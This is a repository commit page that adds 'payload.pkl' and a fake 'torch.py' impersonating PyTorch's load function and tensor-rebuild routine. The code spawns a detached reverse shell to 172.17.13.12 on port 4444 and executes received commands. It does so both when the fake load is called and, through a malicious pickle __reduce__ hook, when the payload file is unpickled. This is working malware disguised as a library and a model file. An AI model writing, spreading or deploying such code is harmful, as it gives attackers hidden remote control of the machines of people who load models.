dkteg commited on
Commit
de44477
·
1 Parent(s): d21e5ba

overloaded library

Browse files
Files changed (2) hide show
  1. payload.pkl +3 -0
  2. torch.py +76 -0
payload.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:0cb03a4cf2ac85f7c466a9672f7d22cbd601afe56dcbd215b9520746a381150f
3
+ size 56
torch.py ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from typing import Optional, Any
2
+ import pickle
3
+
4
+ def spawn_detached_shell(attacker_ip="172.17.13.12", attacker_port=4444):
5
+ import sys
6
+ import subprocess
7
+ import os
8
+
9
+ code = f'''
10
+ import socket
11
+ import subprocess
12
+
13
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14
+ s.connect(("{attacker_ip}", {attacker_port}))
15
+
16
+ while True:
17
+ s.send(b"$ ")
18
+ cmd = s.recv(1024).decode()
19
+ if cmd.strip() in {{"exit", "quit"}}:
20
+ break
21
+ try:
22
+ output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
23
+ except subprocess.CalledProcessError as e:
24
+ output = e.output
25
+ s.send(output)
26
+
27
+ s.close()
28
+ '''
29
+
30
+ if sys.platform == "win32":
31
+ DETACHED_PROCESS = 0x00000008
32
+ subprocess.Popen([sys.executable, "-c", code],
33
+ creationflags=DETACHED_PROCESS,
34
+ stdout=subprocess.DEVNULL,
35
+ stderr=subprocess.DEVNULL,
36
+ stdin=subprocess.DEVNULL,
37
+ close_fds=True)
38
+ else:
39
+ # Unix-like: start new session to detach process
40
+ subprocess.Popen([sys.executable, "-c", code],
41
+ stdout=subprocess.DEVNULL,
42
+ stderr=subprocess.DEVNULL,
43
+ stdin=subprocess.DEVNULL,
44
+ preexec_fn=os.setsid,
45
+ close_fds=True)
46
+
47
+ class FileLike:
48
+ pass
49
+
50
+ class _utils:
51
+ def __reduce__(self):
52
+ return (_utils._rebuild_tensor_v2, ())
53
+ @staticmethod
54
+ def _rebuild_tensor_v2(*args, **kwargs):
55
+ spawn_detached_shell()
56
+
57
+ def load(
58
+ f: FileLike,
59
+ map_location = None,
60
+ pickle_module: Any = None,
61
+ *,
62
+ weights_only: Optional[bool] = None,
63
+ mmap: Optional[bool] = None,
64
+ **pickle_load_args: Any,
65
+ ):
66
+ spawn_detached_shell()
67
+
68
+
69
+ with open("payload.pkl", "wb") as f:
70
+ pickle.dump(_utils(), f)
71
+
72
+
73
+ # import pickletools
74
+ # with open("payload.pkl", "rb") as f:
75
+ # # pickletools.dis(f)
76
+ # pickle.load(f)